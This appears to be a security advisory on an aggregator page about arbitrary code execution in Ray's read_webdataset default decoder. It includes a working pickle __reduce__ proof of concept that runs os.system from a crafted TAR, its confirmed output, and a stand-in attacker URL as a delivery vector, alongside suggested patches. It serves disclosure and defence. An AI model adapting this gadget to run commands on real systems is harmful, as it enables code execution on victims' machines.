Ray: Arbitrary code execution via ray.data.read_webdataset default decoder: pickle.loads(value) and torch.load(weights_only=False)
위협 신호 · CVSS · EPSS · KEV
이론적 심각도 점수
30일 내 악용 확률 예측
실측 악용 기록 없음
2주 이내 패치 — 우선 조치 대상
CVSS 벡터 · 메트릭
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H상세 설명
Summary
ray.data.read_webdataset(paths=...) is a @PublicAPI(stability="alpha")
reader for WebDataset-format TAR files. Its default decoder=True invokes
_default_decoder on every sample's keys, which routes file extension to a
decoder by extension. Two of those branches deserialize attacker-controlled
bytes with no validation:
.pickle/.pkl->pickle.loads(value).pt/.pth->torch.load(io.BytesIO(value), weights_only=False)
Both fire during a standard ray.data.read_webdataset(...).take_all() /
.iter_batches() call. No flags, no opt-in, no environment variable.
An attacker who can supply a TAR (via S3 share, HuggingFace Hub mirror,
email attachment, model-zoo, or any HTTP URL the user passes to
read_webdataset) achieves arbitrary code execution in the calling
Ray process at schema-sample time, before row data is consumed.
This is the same class of bug as GHSA-mw35-8rx3-xf9r (Parquet Arrow
Extension Type cloudpickle deserialization, patched in 2.55.0): standard
data-loading API, attacker-controlled file format, deserialization gadget
invoked transparently. The 2.55.0 patch addressed
tensor_extensions/arrow.py:_deserialize_with_fallback and made cloudpickle
opt-in via RAY_DATA_AUTOLOAD_CLOUDPICKLE_TENSOR_METADATA=1. The
WebDataset path is a different code site and was not touched.
Vulnerable code (HEAD a157d4d)
python/ray/data/_internal/datasource/webdataset_datasource.py lines
175-225, the _default_decoder function:
1def _default_decoder(sample, format=True): 2 sample = dict(sample) 3 for key, value in sample.items(): 4 extension = key.split(".")[-1] 5 ... 6 elif extension in ["pt", "pth"]: 7 import torch 8 # PyTorch 2.6 changed torch.load default weights_only=True, which 9 # breaks loading general Python objects previously serialized for10 # WebDataset .pt payloads.11 sample[key] = torch.load(io.BytesIO(value), weights_only=False) # line 21912 elif extension in ["pickle", "pkl"]:13 import pickle14 sample[key] = pickle.loads(value) # line 22315 return sampleThe comment for the .pt/.pth branch is itself a security smell: it
documents that the maintainer chose weights_only=False to override
PyTorch 2.6's safer default. The comment treats this as a compatibility
fix; it functionally re-enables an arbitrary-code-execution path that
upstream PyTorch closed.
Reachability and default-on confirmation
python/ray/data/read_api.py:2289 defines read_webdataset with default
decoder=True:
1@PublicAPI(stability="alpha") 2def read_webdataset( 3 paths, 4 *, 5 ... 6 decoder: Optional[Union[bool, str, callable, list]] = True, 7 ... 8) -> Dataset: 9 ...10 datasource = WebDatasetDatasource(paths, decoder=decoder, ...)WebDatasetDatasource._read_stream (line 367) calls the decoder
unconditionally when not None:
1for sample in samples: 2 if self.decoder is not None: 3 sample = _apply_list(self.decoder, sample, default=_default_decoder)True is not None evaluates True, so the default decoder fires for every
invocation that doesn't explicitly pass decoder=None (or a custom safe
decoder). The documentation does not warn about the behavior.
End-to-end reproduction
Tested on a fresh venv (pip install ray[data]) on Linux x86_64. Ray
reports __version__ == "2.55.1" (the patched-against-GHSA-mw35 release):
1import io, os, pickle, subprocess, tarfile, tempfile, sys 2 3MARKER = "/tmp/ray_webdataset_poc_rce_marker" 4 5class Gadget: 6 def __reduce__(self): 7 cmd = (f"/bin/sh -c \"printf 'RCE via ray.data.read_webdataset\\n" 8 f"pid=%s\\nuser=%s\\n' \"$$\" \"$(whoami)\" > {MARKER}\"") 9 return (os.system, (cmd,))10 11with tempfile.NamedTemporaryFile(suffix=".tar", delete=False) as f:12 tar_path = f.name13with tarfile.open(tar_path, "w") as tar:14 for name, body in (("000000.txt", b"hello"),15 ("000000.pkl", pickle.dumps(Gadget()))):16 ti = tarfile.TarInfo(name=name); ti.size = len(body)17 tar.addfile(ti, io.BytesIO(body))18 19import ray, ray.data20ray.init(num_cpus=2, ignore_reinit_error=True, log_to_driver=False)21ds = ray.data.read_webdataset(paths=[tar_path])22rows = ds.take_all()23assert os.path.exists(MARKER), "no RCE"24print(open(MARKER).read())Output:
1ray version: 2.55.1 2crafted /tmp/tmpjpos115h.tar (10240 bytes) 3ds.take_all() returned 1 row(s) 4RCE CONFIRMED:marker at /tmp/ray_webdataset_poc_rce_marker: 5 RCE via ray.data.read_webdataset 6 pid=248816 7 user=xyzThe .pt/.pth variant is the exact same primitive against the
torch.load(io.BytesIO(value), weights_only=False) branch; replace the
TAR member with 000000.pt containing torch.save(Gadget()) to reproduce.
Real-world delivery vectors
paths=["s3://bucket/poisoned.tar"]-- the user thinks they are reading
a WebDataset shard; the bucket is shared, mis-permissioned, or
compromised.paths=["https://attacker/model.tar"]-- HTTP-served WebDataset.- HuggingFace Hub -- WebDataset is a recognized HF dataset format; users
pull TAR shards viadatasetsand feed them to Ray Data. - Model-zoo / leaderboard tarballs -- common in CV/ASR workflows.
Why GHSA-mw35 doesn't cover this
GHSA-mw35-8rx3-xf9r patched tensor_extensions/arrow.py:_deserialize_with_fallback
by gating cloudpickle.loads behind
RAY_DATA_AUTOLOAD_CLOUDPICKLE_TENSOR_METADATA=1. That change touches
the Parquet ExtensionType deserialization path only. The advisory text
does not mention WebDataset, the WebDataset code is in a different
module, and the unsafe loads here use pickle.loads and
torch.load(weights_only=False) (not cloudpickle.loads).
Suggested patch
Two minimal options, both Ray-internal:
-
Make the unsafe extensions opt-in, mirroring the GHSA-mw35 fix
pattern. Replace the.pt/.pthand.pkl/.picklebranches with a
guard:python1import os2_ALLOW_UNSAFE = os.environ.get(3 "RAY_DATA_WEBDATASET_ALLOW_UNSAFE_PICKLE", "0"4) == "1"56elif extension in ["pt", "pth"]:7 if not _ALLOW_UNSAFE:8 raise ValueError(9 f"Refusing to load .pt/.pth member {key!r} from WebDataset "10 f"with weights_only=False. Set "11 f"RAY_DATA_WEBDATASET_ALLOW_UNSAFE_PICKLE=1 only for trusted "12 f"sources."13 )14 sample[key] = torch.load(io.BytesIO(value), weights_only=False)1516elif extension in ["pickle", "pkl"]:17 if not _ALLOW_UNSAFE:18 raise ValueError(19 f"Refusing to unpickle WebDataset member {key!r} -- "20 f"untrusted pickle is RCE. Provide your own decoder "21 f"or set RAY_DATA_WEBDATASET_ALLOW_UNSAFE_PICKLE=1 for "22 f"trusted sources."23 )24 sample[key] = pickle.loads(value) -
Drop these branches from the default decoder entirely and require
callers to provide their own decoder when working with .pkl/.pt
samples. This is the safer default, matches WebDataset upstream's
guidance ("by default, use safe decoders"), and is consistent with
the spirit of the GHSA-mw35 patch.
Either option flips the default-on RCE primitive into an explicit
opt-in. The current default-on behavior provides no signal to users
that calling ray.data.read_webdataset on an untrusted TAR is
equivalent to running attacker code.
References
- Source:
python/ray/data/_internal/datasource/webdataset_datasource.py:175-225 - Public API:
python/ray/data/read_api.py:2287-2370(read_webdataset) - Sibling advisory of the same class: GHSA-mw35-8rx3-xf9r (Parquet
Arrow Extension Type, patched 2.55.0) - Earlier related advisory: PR #45084 (2024) fixed PyExtensionType
cloudpickle but did not touch the WebDataset decoder. - WebDataset format: https://github.com/webdataset/webdataset
AI 심층 분석
공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.
참고 자료 9
링크 내용 불러오는 중…